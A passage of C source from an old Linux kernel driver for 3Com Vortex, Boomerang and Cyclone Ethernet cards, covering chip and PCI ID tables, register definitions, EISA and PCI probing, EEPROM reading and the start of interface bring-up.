}; enum { IS_VORTEX=1, IS_BOOMERANG=2, IS_CYCLONE=4, EEPROM_230=8, /* AKPM: Uses 0x230 as the base bitmpas for EEPROM reads */ HAS_PWR_CTRL=0x10, HAS_MII=0x20, HAS_NWAY=0x40, HAS_CB_FNS=0x80, }; enum vortex_chips { CH_3C590 = 0, CH_3C592, CH_3C597, CH_3C595_1, CH_3C595_2, CH_3C595_3, CH_VORTEX, CH_3C900_1, CH_3C900_2, CH_3C900_3, CH_3C900_4, CH_3C900_5, CH_3C900B_FL, CH_3C905_1, CH_3C905_2, CH_3C905B_1, CH_3C905B_2, CH_3C905B_FX, CH_3C905C, CH_3C980, CH_3CSOHO100_TX, CH_3C555, CH_3C575_1, CH_3CCFE575, CH_3CCFE575CT, CH_3CCFE656, CH_3CCFEM656, CH_3C450, }; /* note: this array directly indexed by above enums, and MUST * be kept in sync with both the enums above, and the PCI device * table below */ static struct vortex_chip_info { const char *name; int flags; int drv_flags; int io_size; } vortex_info_tbl[] __devinitdata = { {"3c590 Vortex 10Mbps", PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, {"3c592 EISA 10mbps Demon/Vortex", /* AKPM: from Don's 3c59x_cb.c 0.49H */ PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, {"3c597 EISA Fast Demon/Vortex", /* AKPM: from Don's 3c59x_cb.c 0.49H */ PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, {"3c595 Vortex 100baseTx", PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, {"3c595 Vortex 100baseT4", PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, {"3c595 Vortex 100base-MII", PCI_USES_IO|PCI_USES_MASTER, IS_VORTEX, 32, }, #define EISA_TBL_OFFSET 6 /* Offset of this entry for vortex_eisa_init */ {"3Com Vortex", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG, 64, }, {"3c900 Boomerang 10baseT", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG, 64, }, {"3c900 Boomerang 10Mbps Combo", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG, 64, }, {"3c900 Cyclone 10Mbps TPO", /* AKPM: from Don's 0.99M */ PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c900 Cyclone 10Mbps Combo", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c900 Cyclone 10Mbps TPC", /* AKPM: from Don's 0.99M */ PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c900B-FL Cyclone 10base-FL", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c905 Boomerang 100baseTx", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG|HAS_MII, 64, }, {"3c905 Boomerang 100baseT4", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG|HAS_MII, 64, }, {"3c905B Cyclone 100baseTx", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY, 128, }, {"3c905B Cyclone 10/100/BNC", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY, 128, }, {"3c905B-FX Cyclone 100baseFx", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c905C Tornado", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY, 128, }, {"3c980 Cyclone", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3cSOHO100-TX Hurricane", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c555 Laptop Hurricane", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE, 128, }, {"3c575 Boomerang CardBus", PCI_USES_IO|PCI_USES_MASTER, IS_BOOMERANG|HAS_MII|EEPROM_230, 64, }, {"3CCFE575 Cyclone CardBus", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY|HAS_CB_FNS|EEPROM_230, 128, }, {"3CCFE575CT Cyclone CardBus", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY|HAS_CB_FNS|EEPROM_230, 128, }, {"3CCFE656 Cyclone CardBus", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY|HAS_CB_FNS|EEPROM_230, 128, }, {"3CCFEM656 Cyclone CardBus", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY|HAS_CB_FNS|EEPROM_230, 128, }, {"3c450 Cyclone/unknown", /* AKPM: from Don's 0.99N */ PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY, 128, }, {0,}, /* 0 terminated list. */ }; static struct pci_device_id vortex_pci_tbl[] __devinitdata = { { 0x10B7, 0x5900, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C590 }, { 0x10B7, 0x5920, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C592 }, { 0x10B7, 0x5970, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C597 }, { 0x10B7, 0x5950, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C595_1 }, { 0x10B7, 0x5951, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C595_2 }, { 0x10B7, 0x5952, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C595_3 }, { 0x10B7, 0x5900, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_VORTEX }, { 0x10B7, 0x9000, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900_1 }, { 0x10B7, 0x9001, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900_2 }, { 0x10B7, 0x9004, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900_3 }, { 0x10B7, 0x9005, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900_4 }, { 0x10B7, 0x9006, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900_5 }, { 0x10B7, 0x900A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C900B_FL }, { 0x10B7, 0x9050, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905_1 }, { 0x10B7, 0x9051, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905_2 }, { 0x10B7, 0x9055, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905B_1 }, { 0x10B7, 0x9058, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905B_2 }, { 0x10B7, 0x905A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905B_FX }, { 0x10B7, 0x9200, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905C }, { 0x10B7, 0x9800, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C980 }, { 0x10B7, 0x7646, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3CSOHO100_TX }, { 0x10B7, 0x5055, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C555 }, { 0x10B7, 0x5057, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C575_1 }, { 0x10B7, 0x5157, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3CCFE575 }, { 0x10B7, 0x5257, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3CCFE575CT }, { 0x10B7, 0x6560, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3CCFE656 }, { 0x10B7, 0x6562, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3CCFEM656 }, { 0x10B7, 0x4500, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C450 }, {0,} /* 0 terminated list. */ }; MODULE_DEVICE_TABLE(pci, vortex_pci_tbl); /* Operational definitions. These are not used by other compilation units and thus are not exported in a ".h" file. First the windows. There are eight register windows, with the command and status registers available in each. */ #define EL3WINDOW(win_num) outw(SelectWindow + (win_num), ioaddr + EL3_CMD) #define EL3_CMD 0x0e #define EL3_STATUS 0x0e /* The top five bits written to EL3_CMD are a command, the lower 11 bits are the parameter, if applicable. Note that 11 parameters bits was fine for ethernet, but the new chip can handle FDDI length frames (~4500 octets) and now parameters count 32-bit 'Dwords' rather than octets. */ enum vortex_cmd { TotalReset = 0<<11, SelectWindow = 1<<11, StartCoax = 2<<11, RxDisable = 3<<11, RxEnable = 4<<11, RxReset = 5<<11, UpStall = 6<<11, UpUnstall = (6<<11)+1, DownStall = (6<<11)+2, DownUnstall = (6<<11)+3, RxDiscard = 8<<11, TxEnable = 9<<11, TxDisable = 10<<11, TxReset = 11<<11, FakeIntr = 12<<11, AckIntr = 13<<11, SetIntrEnb = 14<<11, SetStatusEnb = 15<<11, SetRxFilter = 16<<11, SetRxThreshold = 17<<11, SetTxThreshold = 18<<11, SetTxStart = 19<<11, StartDMAUp = 20<<11, StartDMADown = (20<<11)+1, StatsEnable = 21<<11, StatsDisable = 22<<11, StopCoax = 23<<11, SetFilterBit = 25<<11,}; /* The SetRxFilter command accepts the following classes: */ enum RxFilter { RxStation = 1, RxMulticast = 2, RxBroadcast = 4, RxProm = 8 }; /* Bits in the general status register. */ enum vortex_status { IntLatch = 0x0001, HostError = 0x0002, TxComplete = 0x0004, TxAvailable = 0x0008, RxComplete = 0x0010, RxEarly = 0x0020, IntReq = 0x0040, StatsFull = 0x0080, DMADone = 1<<8, DownComplete = 1<<9, UpComplete = 1<<10, DMAInProgress = 1<<11, /* DMA controller is still busy.*/ CmdInProgress = 1<<12, /* EL3_CMD is still busy.*/ }; /* Register window 1 offsets, the window used in normal operation. On the Vortex this window is always mapped at offsets 0x10-0x1f. */ enum Window1 { TX_FIFO = 0x10, RX_FIFO = 0x10, RxErrors = 0x14, RxStatus = 0x18, Timer=0x1A, TxStatus = 0x1B, TxFree = 0x1C, /* Remaining free bytes in Tx buffer. */ }; enum Window0 { Wn0EepromCmd = 10, /* Window 0: EEPROM command register. */ Wn0EepromData = 12, /* Window 0: EEPROM results register. */ IntrStatus=0x0E, /* Valid in all windows. */ }; enum Win0_EEPROM_bits { EEPROM_Read = 0x80, EEPROM_WRITE = 0x40, EEPROM_ERASE = 0xC0, EEPROM_EWENB = 0x30, /* Enable erasing/writing for 10 msec. */ EEPROM_EWDIS = 0x00, /* Disable EWENB before 10 msec timeout. */ }; /* EEPROM locations. */ enum eeprom_offset { PhysAddr01=0, PhysAddr23=1, PhysAddr45=2, ModelID=3, EtherLink3ID=7, IFXcvrIO=8, IRQLine=9, NodeAddr01=10, NodeAddr23=11, NodeAddr45=12, DriverTune=13, Checksum=15}; enum Window2 { /* Window 2. */ Wn2_ResetOptions=12, }; enum Window3 { /* Window 3: MAC/config bits. */ Wn3_Config=0, Wn3_MAC_Ctrl=6, Wn3_Options=8, }; union wn3_config { int i; struct w3_config_fields { unsigned int ram_size:3, ram_width:1, ram_speed:2, rom_size:2; int pad8:8; unsigned int ram_split:2, pad18:2, xcvr:4, autoselect:1; int pad24:7; } u; }; enum Window4 { /* Window 4: Xcvr/media bits. */ Wn4_FIFODiag = 4, Wn4_NetDiag = 6, Wn4_PhysicalMgmt=8, Wn4_Media = 10, }; enum Win4_Media_bits { Media_SQE = 0x0008, /* Enable SQE error counting for AUI. */ Media_10TP = 0x00C0, /* Enable link beat and jabber for 10baseT. */ Media_Lnk = 0x0080, /* Enable just link beat for 100TX/100FX. */ Media_LnkBeat = 0x0800, }; enum Window7 { /* Window 7: Bus Master control. */ Wn7_MasterAddr = 0, Wn7_MasterLen = 6, Wn7_MasterStatus = 12, }; /* Boomerang bus master control registers. */ enum MasterCtrl { PktStatus = 0x20, DownListPtr = 0x24, FragAddr = 0x28, FragLen = 0x2c, TxFreeThreshold = 0x2f, UpPktStatus = 0x30, UpListPtr = 0x38, }; /* The Rx and Tx descriptor lists. Caution Alpha hackers: these types are 32 bits! Note also the 8 byte alignment contraint on tx_ring[] and rx_ring[]. */ #define LAST_FRAG 0x80000000 /* Last Addr/Len pair in descriptor. */ struct boom_rx_desc { u32 next; /* Last entry points to 0. */ s32 status; u32 addr; /* Up to 63 addr/len pairs possible. */ s32 length; /* Set LAST_FRAG to indicate last pair. */ }; /* Values for the Rx status entry. */ enum rx_desc_status { RxDComplete=0x00008000, RxDError=0x4000, /* See boomerang_rx() for actual error bits */ IPChksumErr=1<<25, TCPChksumErr=1<<26, UDPChksumErr=1<<27, IPChksumValid=1<<29, TCPChksumValid=1<<30, UDPChksumValid=1<<31, }; struct boom_tx_desc { u32 next; /* Last entry points to 0. */ s32 status; /* bits 0:12 length, others see below. */ u32 addr; s32 length; }; /* Values for the Tx status entry. */ enum tx_desc_status { CRCDisable=0x2000, TxDComplete=0x8000, AddIPChksum=0x02000000, AddTCPChksum=0x04000000, AddUDPChksum=0x08000000, TxIntrUploaded=0x80000000, /* IRQ when in FIFO, but maybe not sent. */ }; /* Chip features we care about in vp->capabilities, read from the EEPROM. */ enum ChipCaps { CapBusMaster=0x20, CapPwrMgmt=0x2000 }; struct vortex_private { /* The Rx and Tx rings should be quad-word-aligned. */ struct boom_rx_desc* rx_ring; struct boom_tx_desc* tx_ring; dma_addr_t rx_ring_dma; dma_addr_t tx_ring_dma; /* The addresses of transmit- and receive-in-place skbuffs. */ struct sk_buff* rx_skbuff[RX_RING_SIZE]; struct sk_buff* tx_skbuff[TX_RING_SIZE]; struct net_device *next_module; /* NULL if PCI device */ unsigned int cur_rx, cur_tx; /* The next free ring entry */ unsigned int dirty_rx, dirty_tx; /* The ring entries to be free()ed. */ struct net_device_stats stats; struct sk_buff *tx_skb; /* Packet being eaten by bus master ctrl. */ dma_addr_t tx_skb_dma; /* Allocated DMA address for bus master ctrl DMA. */ /* PCI configuration space information. */ struct pci_dev *pdev; char *cb_fn_base; /* CardBus function status addr space. */ /* The remainder are related to chip state, mostly media selection. */ struct timer_list timer; /* Media selection timer. */ int options; /* User-settable misc. driver options. */ unsigned int media_override:4, /* Passed-in media type. */ default_media:4, /* Read from the EEPROM/Wn3_Config. */ full_duplex:1, force_fd:1, autoselect:1, bus_master:1, /* Vortex can only do a fragment bus-m. */ full_bus_master_tx:1, full_bus_master_rx:2, /* Boomerang */ hw_csums:1, /* Has hardware checksums. */ tx_full:1, has_nway:1, open:1; int tx_reset_resume; /* Flag to retart timer after vortex_error handling */ u16 status_enable; u16 intr_enable; u16 available_media; /* From Wn3_Options. */ u16 capabilities, info1, info2; /* Various, from EEPROM. */ u16 advertising; /* NWay media advertisement */ unsigned char phys[2]; /* MII device addresses. */ u16 deferred; /* Resend these interrupts when we * bale from the ISR */ u16 io_size; /* Size of PCI region (for release_region) */ spinlock_t lock; }; /* The action to take with a media selection timer tick. Note that we deviate from the 3Com order by checking 10base2 before AUI. */ enum xcvr_types { XCVR_10baseT=0, XCVR_AUI, XCVR_10baseTOnly, XCVR_10base2, XCVR_100baseTx, XCVR_100baseFx, XCVR_MII=6, XCVR_NWAY=8, XCVR_ExtMII=9, XCVR_Default=10, }; static struct media_table { char *name; unsigned int media_bits:16, /* Bits to set in Wn4_Media register. */ mask:8, /* The transceiver-present bit in Wn3_Config.*/ next:8; /* The media type to try next. */ int wait; /* Time before we check media status. */ } media_tbl[] = { { "10baseT", Media_10TP,0x08, XCVR_10base2, (14*HZ)/10}, { "10Mbs AUI", Media_SQE, 0x20, XCVR_Default, (1*HZ)/10}, { "undefined", 0, 0x80, XCVR_10baseT, 10000}, { "10base2", 0, 0x10, XCVR_AUI, (1*HZ)/10}, { "100baseTX", Media_Lnk, 0x02, XCVR_100baseFx, (14*HZ)/10}, { "100baseFX", Media_Lnk, 0x04, XCVR_MII, (14*HZ)/10}, { "MII", 0, 0x41, XCVR_10baseT, 3*HZ }, { "undefined", 0, 0x01, XCVR_10baseT, 10000}, { "Autonegotiate", 0, 0x41, XCVR_10baseT, 3*HZ}, { "MII-External", 0, 0x41, XCVR_10baseT, 3*HZ }, { "Default", 0, 0xFF, XCVR_10baseT, 10000}, }; static int vortex_probe1(struct pci_dev *pdev, long ioaddr, int irq, int chip_idx, int card_idx); static void vortex_up(struct net_device *dev); static void vortex_down(struct net_device *dev); static int vortex_open(struct net_device *dev); static void mdio_sync(long ioaddr, int bits); static int mdio_read(long ioaddr, int phy_id, int location); static void mdio_write(long ioaddr, int phy_id, int location, int value); static void vortex_timer(unsigned long arg); static int vortex_start_xmit(struct sk_buff *skb, struct net_device *dev); static int boomerang_start_xmit(struct sk_buff *skb, struct net_device *dev); static int vortex_rx(struct net_device *dev); static int boomerang_rx(struct net_device *dev); static void vortex_interrupt(int irq, void *dev_id, struct pt_regs *regs); static void boomerang_interrupt(int irq, void *dev_id, struct pt_regs *regs); static int vortex_close(struct net_device *dev); static void dump_tx_ring(struct net_device *dev); static void update_stats(long ioaddr, struct net_device *dev); static struct net_device_stats *vortex_get_stats(struct net_device *dev); static void set_rx_mode(struct net_device *dev); static int vortex_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static void vortex_tx_timeout(struct net_device *dev); static void acpi_set_WOL(struct net_device *dev); /* This driver uses 'options' to pass the media type, full-duplex flag, etc. */ /* Option count limit only -- unlimited interfaces are supported. */ #define MAX_UNITS 8 static int options[MAX_UNITS] = { -1, -1, -1, -1, -1, -1, -1, -1,}; static int full_duplex[MAX_UNITS] = {-1, -1, -1, -1, -1, -1, -1, -1}; /* A list of all installed Vortex EISA devices, for removing the driver module. */ static struct net_device *root_vortex_eisa_dev = NULL; /* Variables to work-around the Compaq PCI BIOS32 problem. */ static int compaq_ioaddr = 0, compaq_irq = 0, compaq_device_id = 0x5900; static int vortex_cards_found = 0; static void vortex_suspend (struct pci_dev *pdev) { struct net_device *dev = pdev->driver_data; printk(KERN_DEBUG "vortex_suspend(%s)\n", dev->name); if (dev && dev->priv) { struct vortex_private *vp = (struct vortex_private *)dev->priv; if (vp->open) { netif_device_detach(dev); vortex_down(dev); } } } static void vortex_resume (struct pci_dev *pdev) { struct net_device *dev = pdev->driver_data; printk(KERN_DEBUG "vortex_resume(%s)\n", dev->name); if (dev && dev->priv) { struct vortex_private *vp = (struct vortex_private *)dev->priv; if (vp->open) { vortex_up(dev); netif_device_attach(dev); } } } /* returns count found (>= 0), or negative on error */ static int __init vortex_eisa_init (void) { long ioaddr; int rc; int orig_cards_found = vortex_cards_found; /* Now check all slots of the EISA bus. */ if (!EISA_bus) return 0; for (ioaddr = 0x1000; ioaddr < 0x9000; ioaddr += 0x1000) { int device_id; if (request_region(ioaddr, VORTEX_TOTAL_SIZE, "vortex") == NULL) continue; /* Check the standard EISA ID register for an encoded '3Com'. */ if (inw(ioaddr + 0xC80) != 0x6d50) { release_region (ioaddr, VORTEX_TOTAL_SIZE); continue; } /* Check for a product that we support, 3c59{2,7} any rev. */ device_id = (inb(ioaddr + 0xC82)<<8) + inb(ioaddr + 0xC83); if ((device_id & 0xFF00) != 0x5900) { release_region (ioaddr, VORTEX_TOTAL_SIZE); continue; } rc = vortex_probe1(NULL, ioaddr, inw(ioaddr + 0xC88) >> 12, EISA_TBL_OFFSET, vortex_cards_found); if (rc == 0) vortex_cards_found++; else release_region (ioaddr, VORTEX_TOTAL_SIZE); } /* Special code to work-around the Compaq PCI BIOS32 problem. */ if (compaq_ioaddr) { vortex_probe1(NULL, compaq_ioaddr, compaq_irq, compaq_device_id, vortex_cards_found++); } return vortex_cards_found - orig_cards_found; } /* returns count (>= 0), or negative on error */ static int __devinit vortex_init_one (struct pci_dev *pdev, const struct pci_device_id *ent) { int rc; rc = vortex_probe1 (pdev, pci_resource_start (pdev, 0), pdev->irq, ent->driver_data, vortex_cards_found); if (rc == 0) vortex_cards_found++; return rc; } /* * Start up the PCI device which is described by *pdev. * Return 0 on success. * * NOTE: pdev can be NULL, for the case of an EISA driver */ static int __devinit vortex_probe1(struct pci_dev *pdev, long ioaddr, int irq, int chip_idx, int card_idx) { struct vortex_private *vp; int option; unsigned int eeprom[0x40], checksum = 0; /* EEPROM contents */ int i; struct net_device *dev; static int printed_version = 0; int retval; if (!printed_version) { printk (KERN_INFO "%s", version); printed_version = 1; } dev = init_etherdev(NULL, sizeof(*vp)); if (!dev) { printk (KERN_ERR PFX "unable to allocate etherdev, aborting\n"); retval = -ENOMEM; goto out; } printk(KERN_INFO "%s: 3Com %s %s at 0x%lx, ", dev->name, pdev ? "PCI" : "EISA", vortex_info_tbl[chip_idx].name, ioaddr); /* private struct aligned and zeroed by init_etherdev */ vp = dev->priv; dev->base_addr = ioaddr; dev->irq = irq; dev->mtu = mtu; vp->has_nway = (vortex_info_tbl[chip_idx].drv_flags & HAS_NWAY) ? 1 : 0; vp->io_size = vortex_info_tbl[chip_idx].io_size; /* module list only for EISA devices */ if (pdev == NULL) { vp->next_module = root_vortex_eisa_dev; root_vortex_eisa_dev = dev; } /* PCI-only startup logic */ if (pdev) { /* EISA resources already marked, so only PCI needs to do this here */ if (!request_region (ioaddr, vortex_info_tbl[chip_idx].io_size, dev->name)) { printk (KERN_ERR "%s: Cannot reserve I/O resource 0x%x @ 0x%lx, aborting\n", dev->name, vortex_info_tbl[chip_idx].io_size, ioaddr); retval = -EBUSY; goto free_dev; } /* wake up and enable device */ if (pci_enable_device (pdev)) { retval = -EIO; goto free_region; } /* enable bus-mastering if necessary */ if (vortex_info_tbl[chip_idx].flags & PCI_USES_MASTER) pci_set_master (pdev); } vp->lock = SPIN_LOCK_UNLOCKED; vp->pdev = pdev; /* Makes sure rings are at least 16 byte aligned. */ vp->rx_ring = pci_alloc_consistent(pdev, sizeof(struct boom_rx_desc) * RX_RING_SIZE + sizeof(struct boom_tx_desc) * TX_RING_SIZE, &vp->rx_ring_dma); if (vp->rx_ring == 0) { retval = -ENOMEM; goto free_region; } vp->tx_ring = (struct boom_tx_desc *)(vp->rx_ring + RX_RING_SIZE); vp->tx_ring_dma = vp->rx_ring_dma + sizeof(struct boom_rx_desc) * RX_RING_SIZE; /* if we are a PCI driver, we store info in pdev->driver_data * instead of a module list */ if (pdev) pdev->driver_data = dev; /* The lower four bits are the media type. */ if (dev->mem_start) { /* * AKPM: ewww.. The 'options' param is passed in as the third arg to the * LILO 'ether=' argument for non-modular use */ option = dev->mem_start; } else if (card_idx < MAX_UNITS) option = options[card_idx]; else option = -1; if (option >= 0) { vp->media_override = ((option & 7) == 2) ? 0 : option & 15; vp->full_duplex = (option & 0x200) ? 1 : 0; vp->bus_master = (option & 16) ? 1 : 0; } else { vp->media_override = 7; vp->full_duplex = 0; vp->bus_master = 0; } if (card_idx < MAX_UNITS && full_duplex[card_idx] > 0) vp->full_duplex = 1; vp->force_fd = vp->full_duplex; vp->options = option; /* Read the station address from the EEPROM. */ EL3WINDOW(0); { int base = (vortex_info_tbl[chip_idx].drv_flags & EEPROM_230) ? 0x230 : EEPROM_Read; for (i = 0; i < 0x40; i++) { int timer; outw(base + i, ioaddr + Wn0EepromCmd); /* Pause for at least 162 us. for the read to take place. */ for (timer = 10; timer >= 0; timer--) { udelay(162); if ((inw(ioaddr + Wn0EepromCmd) & 0x8000) == 0) break; } eeprom[i] = inw(ioaddr + Wn0EepromData); } } for (i = 0; i < 0x18; i++) checksum ^= eeprom[i]; checksum = (checksum ^ (checksum >> 8)) & 0xff; if (checksum != 0x00) { /* Grrr, needless incompatible change 3Com. */ while (i < 0x21) checksum ^= eeprom[i++]; checksum = (checksum ^ (checksum >> 8)) & 0xff; } if (checksum != 0x00) printk(" ***INVALID CHECKSUM %4.4x*** ", checksum); for (i = 0; i < 3; i++) ((u16 *)dev->dev_addr)[i] = htons(eeprom[i + 10]); for (i = 0; i < 6; i++) printk("%c%2.2x", i ? ':' : ' ', dev->dev_addr[i]); EL3WINDOW(2); for (i = 0; i < 6; i++) outb(dev->dev_addr[i], ioaddr + i); #ifdef __sparc__ printk(", IRQ %s\n", __irq_itoa(dev->irq)); #else printk(", IRQ %d\n", dev->irq); /* Tell them about an invalid IRQ. */ if (vortex_debug && (dev->irq <= 0 || dev->irq >= NR_IRQS)) printk(KERN_WARNING " *** Warning: IRQ %d is unlikely to work! ***\n", dev->irq); #endif if (pdev && vortex_info_tbl[chip_idx].drv_flags & HAS_CB_FNS) { u32 fn_st_addr; /* Cardbus function status space */ fn_st_addr = pci_resource_start (pdev, 2); if (fn_st_addr) vp->cb_fn_base = ioremap(fn_st_addr, 128); printk(KERN_INFO "%s: CardBus functions mapped %8.8x->%p\n", dev->name, fn_st_addr, vp->cb_fn_base); #if 1 /* AKPM: the 575_cb and 905B LEDs seem OK without this */ if (vortex_pci_tbl[chip_idx].device != 0x5257) { EL3WINDOW(2); outw(0x10 | inw(ioaddr + Wn2_ResetOptions), ioaddr + Wn2_ResetOptions); } #endif } /* Extract our information from the EEPROM data. */ vp->info1 = eeprom[13]; vp->info2 = eeprom[15]; vp->capabilities = eeprom[16]; if (vp->info1 & 0x8000) { vp->full_duplex = 1; printk(KERN_INFO "Full duplex capable\n"); } { static const char * ram_split[] = {"5:3", "3:1", "1:1", "3:5"}; union wn3_config config; EL3WINDOW(3); vp->available_media = inw(ioaddr + Wn3_Options); if ((vp->available_media & 0xff) == 0) /* Broken 3c916 */ vp->available_media = 0x40; config.i = inl(ioaddr + Wn3_Config); if (vortex_debug > 1) printk(KERN_DEBUG " Internal config register is %4.4x, " "transceivers %#x.\n", config.i, inw(ioaddr + Wn3_Options)); printk(KERN_INFO " %dK %s-wide RAM %s Rx:Tx split, %s%s interface.\n", 8 << config.u.ram_size, config.u.ram_width ? "word" : "byte", ram_split[config.u.ram_split], config.u.autoselect ? "autoselect/" : "", config.u.xcvr > XCVR_ExtMII ? "" : media_tbl[config.u.xcvr].name); vp->default_media = config.u.xcvr; vp->autoselect = config.u.autoselect; } if (vp->media_override != 7) { printk(KERN_INFO " Media override to transceiver type %d (%s).\n", vp->media_override, media_tbl[vp->media_override].name); dev->if_port = vp->media_override; } else dev->if_port = vp->default_media; if (dev->if_port == XCVR_MII || dev->if_port == XCVR_NWAY) { int phy, phy_idx = 0; EL3WINDOW(4); mii_preamble_required++; mii_preamble_required++; mdio_read(ioaddr, 24, 1); for (phy = 1; phy <= 32 && phy_idx < sizeof(vp->phys); phy++) { int mii_status, phyx = phy & 0x1f; mii_status = mdio_read(ioaddr, phyx, 1); if (mii_status && mii_status != 0xffff) { vp->phys[phy_idx++] = phyx; printk(KERN_INFO " MII transceiver found at address %d," " status %4x.\n", phyx, mii_status); if ((mii_status & 0x0040) == 0) mii_preamble_required++; } } mii_preamble_required--; if (phy_idx == 0) { printk(KERN_WARNING" ***WARNING*** No MII transceivers found!\n"); vp->phys[0] = 24; } else { vp->advertising = mdio_read(ioaddr, vp->phys[0], 4); if (vp->full_duplex) { /* Only advertise the FD media types. */ vp->advertising &= ~0x02A0; mdio_write(ioaddr, vp->phys[0], 4, vp->advertising); } } } if (vp->capabilities & CapPwrMgmt) acpi_set_WOL(dev); if (vp->capabilities & CapBusMaster) { vp->full_bus_master_tx = 1; printk(KERN_INFO" Enabling bus-master transmits and %s receives.\n", (vp->info2 & 1) ? "early" : "whole-frame" ); vp->full_bus_master_rx = (vp->info2 & 1) ? 1 : 2; vp->bus_master = 0; /* AKPM: vortex only */ } /* The 3c59x-specific entries in the device structure. */ dev->open = &vortex_open; dev->hard_start_xmit = &vortex_start_xmit; dev->stop = &vortex_close; dev->get_stats = &vortex_get_stats; dev->do_ioctl = &vortex_ioctl; dev->set_multicast_list = &set_rx_mode; dev->tx_timeout = &vortex_tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; return 0; free_region: release_region (ioaddr, vortex_info_tbl[chip_idx].io_size); free_dev: unregister_netdev(dev); kfree (dev); printk(KERN_ERR PFX "vortex_probe1 fails. Returns %d\n", retval); out: return retval; } static void wait_for_completion(struct net_device *dev, int cmd) { int i = 4000; outw(cmd, dev->base_addr + EL3_CMD); while (--i > 0) { if (!(inw(dev->base_addr + EL3_STATUS) & CmdInProgress)) return; } printk(KERN_ERR "%s: command 0x%04x did not complete! Status=0x%x\n", dev->name, cmd, inw(dev->base_addr + EL3_STATUS)); } static void vortex_up(struct net_device *dev) { long ioaddr = dev->base_addr; struct vortex_private *vp = (struct vortex_private *)dev->priv; union wn3_config config; int i, device_id; if (vp->pdev) device_id = vp->pdev->device; else device_id = 0x5900; /* EISA */ /* Before initializing select the active media port. */ EL3WINDOW(3); config.i = inl(ioaddr + Wn3_Config); if (vp->media_override != 7) { if (vortex_debug > 1) printk(KERN_INFO "%s: Media override to transceiver %d (%s).\n", dev->name, vp->media_override, media_tbl[vp->media_override].name); dev->if_port = vp->media_override; } else if (vp->autoselect) { if (vp->has_nway) { printk(KERN_INFO "%s: using NWAY autonegotiation\n", dev->name); dev->if_port = XCVR_NWAY; } else { /* Find first available media type, starting with 100baseTx. */ dev->if_port = XCVR_100baseTx; while (! (vp->available_media & media_tbl[dev->if_port].mask)) dev->if_port = media_tbl[dev->if_port].next; printk(KERN_INFO "%s: first available media type: %s\n", dev->name, media_tbl[dev->if_port].name); } } else { dev->if_port = vp->default_media; printk(KERN_INFO "%s: using default media %s\n", dev->name, media_tbl[dev->if_port].name); } init_timer(&vp->timer); vp->timer.expires = RUN_AT(TX_EXPIRE); // vp->timer.expires = RUN_AT(media_tbl[dev->if_port].wait); vp->timer.data = (unsigned long)dev; vp->timer.function = &vortex_timer; /* timer handler */ add_timer(&vp->timer); if (vortex_debug > 1) printk(KERN_DEBUG "%s: Initial media type %s.\n", dev->name, media_tbl[dev->if_port].name); vp->full_duplex = vp->force_fd; config.u.xcvr = dev->if_port; //AKPM if (!vp->has_nway) { if (vortex_debug > 6) printk(KERN_DEBUG "vortex_up(): writing 0x%x to InternalConfig\n", config.i); outl(config.i, 